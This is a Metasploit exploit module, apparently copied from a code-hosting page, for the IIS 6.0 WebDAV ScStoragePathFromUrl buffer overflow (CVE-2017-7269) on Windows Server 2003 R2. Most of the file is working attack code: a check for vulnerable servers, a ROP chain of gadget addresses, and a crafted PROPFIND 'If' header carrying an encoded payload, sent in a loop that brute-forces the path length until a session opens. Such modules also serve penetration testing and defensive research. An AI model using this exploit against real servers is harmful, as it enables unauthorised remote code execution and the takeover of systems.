266 lines
8.5 KiB
Ruby
266 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
|
|
'Description' => %q{
|
|
Buffer overflow in the ScStoragePathFromUrl function
|
|
in the WebDAV service in Internet Information Services (IIS) 6.0
|
|
in Microsoft Windows Server 2003 R2 allows remote attackers to
|
|
execute arbitrary code via a long header beginning with
|
|
"If: <http://" in a PROPFIND request, as exploited in the
|
|
wild in July or August 2016.
|
|
|
|
Original exploit by Zhiniang Peng and Chen Wu.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Zhiniang Peng', # Original author
|
|
'Chen Wu', # Original author
|
|
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
|
|
'firefart', # metasploit module
|
|
'zcgonvh <zcgonvh@qq.com>', # metasploit module
|
|
'Rich Whitcroft', # metasploit module
|
|
'Lincoln' # minor updates to metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2017-7269' ],
|
|
[ 'BID', '97127' ],
|
|
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
|
|
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => "\x00",
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
|
|
'DisableNops' => 'True',
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'ESI',
|
|
}
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'PrependMigrate' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Microsoft Windows Server 2003 R2 SP2 x86',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
},
|
|
],
|
|
],
|
|
'Platform' => 'win',
|
|
'DisclosureDate' => '2017-03-26',
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'AKA' => ['EXPLODINGCAN'],
|
|
'Stability' => [CRASH_SERVICE_DOWN],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'Side Effects' => []
|
|
}
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
|
|
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
|
|
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
|
|
])
|
|
end
|
|
|
|
def min_path_len
|
|
datastore['MINPATHLENGTH']
|
|
end
|
|
|
|
def max_path_len
|
|
datastore['MAXPATHLENGTH']
|
|
end
|
|
|
|
def supports_webdav?(headers)
|
|
if headers['MS-Author-Via'] == 'DAV' ||
|
|
headers['DASL'] == '<DAV:sql>' ||
|
|
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
|
|
headers['Public'].to_s.include?('PROPFIND') ||
|
|
headers['Allow'].to_s.include?('PROPFIND')
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => target_uri.path,
|
|
'method' => 'OPTIONS'
|
|
})
|
|
|
|
unless res
|
|
vprint_error 'Connection failed'
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
unless supports_webdav? res.headers
|
|
vprint_status 'Server does not support WebDAV'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
if res.headers['Server'].to_s.include? 'IIS/6.0'
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Detected
|
|
end
|
|
|
|
# corelan.be
|
|
# rop chain generated with mona.py
|
|
def create_rop_chain
|
|
[
|
|
#MSVCRT.dll - all Windows 2003
|
|
0x77bcb06c, # POP ESI # RETN
|
|
0x77bef001, # Write pointer # Garbage
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x77ba1114, # <- *&VirtualProtect()
|
|
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
|
|
0x41414141, # junk
|
|
0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
|
|
0x77bc9801, # POP EBP # RETN
|
|
0x77be2265, # ptr to 'push esp # ret'
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03C0946F,
|
|
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
|
|
0x77bb48d3, # POP EBX, RET
|
|
0x77bf21e0, # .data
|
|
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
|
|
0x77bbfc02, # POP ECX # RETN
|
|
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
|
|
0x77bd8c04, # POP EDI # RETN
|
|
0x77bd8c05, # ROP NOP (-> edi)
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03c0944f,
|
|
0x77bdd441, # SUB EAX, 03c0940f
|
|
0x77bb8285, # XCHG EAX,EDX # RETN
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x90909090, # nop
|
|
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
|
|
].pack("V*")
|
|
end
|
|
|
|
#encode string as UTF-8 char format that when converted to UTF-16LE
|
|
#will represent chars we want in memory
|
|
def utf_encode_str(str)
|
|
str.force_encoding('UTF-16LE').encode('UTF-8')
|
|
end
|
|
|
|
#filler chars to be encoded
|
|
def make_junk(len)
|
|
utf_encode_str rand_text_alpha(len)
|
|
end
|
|
|
|
def exploit
|
|
# extract the local servername and port from a PROPFIND request
|
|
# these need to be the values from the backend server
|
|
# if testing a reverse proxy setup, these values differ
|
|
# from RHOST and RPORT but can be extracted this way
|
|
vprint_status('Extracting ServerName and Port')
|
|
res = send_request_raw(
|
|
'method' => 'PROPFIND',
|
|
'headers' => {
|
|
'Content-Length' => 0
|
|
},
|
|
'uri' => target_uri.path
|
|
)
|
|
fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)
|
|
|
|
xml = res.get_xml_document
|
|
url = URI.parse(xml.at("//a:response//a:href").text)
|
|
server_name = url.hostname
|
|
server_port = url.port
|
|
server_scheme = url.scheme
|
|
|
|
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
|
|
vprint_status("Using http_host #{http_host}")
|
|
|
|
print_status "Trying path length #{min_path_len} to #{max_path_len} ..."
|
|
|
|
min_path_len.upto(max_path_len) do |path_len|
|
|
vprint_status("Trying path length of #{path_len}...")
|
|
|
|
begin
|
|
buf1 = "<#{http_host}/"
|
|
buf1 << rand_text_alpha(114 - path_len)
|
|
buf1 << make_junk(32)
|
|
#survive SHR instruction 0x02020202
|
|
buf1 << utf_encode_str([0x02020202].pack('V'))
|
|
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
|
|
buf1 << utf_encode_str([0x680312c0].pack('V'))
|
|
buf1 << make_junk(40)
|
|
#0x680313c0 -> destination pointer used with memcpy
|
|
buf1 << utf_encode_str([0x680313c0].pack('V'))
|
|
buf1 << ">"
|
|
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
|
|
buf1 << rand_text_alpha(114 - path_len)
|
|
buf1 << make_junk(28)
|
|
#0x680313c0 -> pointer to call itself at same address for vtable call
|
|
buf1 << utf_encode_str([0x680313c0].pack('V'))
|
|
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
|
|
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
|
|
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
|
|
buf1 << make_junk(8)
|
|
#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
|
|
#point to itself at [eax]
|
|
buf1 << utf_encode_str([0x680313c0].pack('V'))
|
|
buf1 << make_junk(16)
|
|
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
|
|
#which also points to new ESP
|
|
buf1 << utf_encode_str([0x68016082].pack('V'))
|
|
buf1 << utf_encode_str(create_rop_chain)
|
|
#GetPC # push esp; pop esi; add esi, 10
|
|
buf1 << utf_encode_str("\x54\x5e\x83\xc6")
|
|
#GetPC ESI +10 plus encode alignment
|
|
buf1 << utf_encode_str("\x0a\x41")
|
|
buf1 << payload.encoded
|
|
buf1 << ">"
|
|
|
|
vprint_status 'Sending payload'
|
|
res = send_request_raw(
|
|
'method' => 'PROPFIND',
|
|
'uri' => target_uri.path,
|
|
'headers' => {
|
|
'Content-Length' => 0,
|
|
'If' => "#{buf1}"
|
|
}
|
|
)
|
|
next unless res
|
|
|
|
vprint_status("Server returned status #{res.code}")
|
|
next if res.code == 502 || res.code == 400
|
|
|
|
return if session_created?
|
|
|
|
vprint_status("Unknown Response: #{res.code}")
|
|
rescue ::Errno::ECONNRESET
|
|
vprint_status('got a connection reset')
|
|
next
|
|
end
|
|
end
|
|
end
|
|
end
|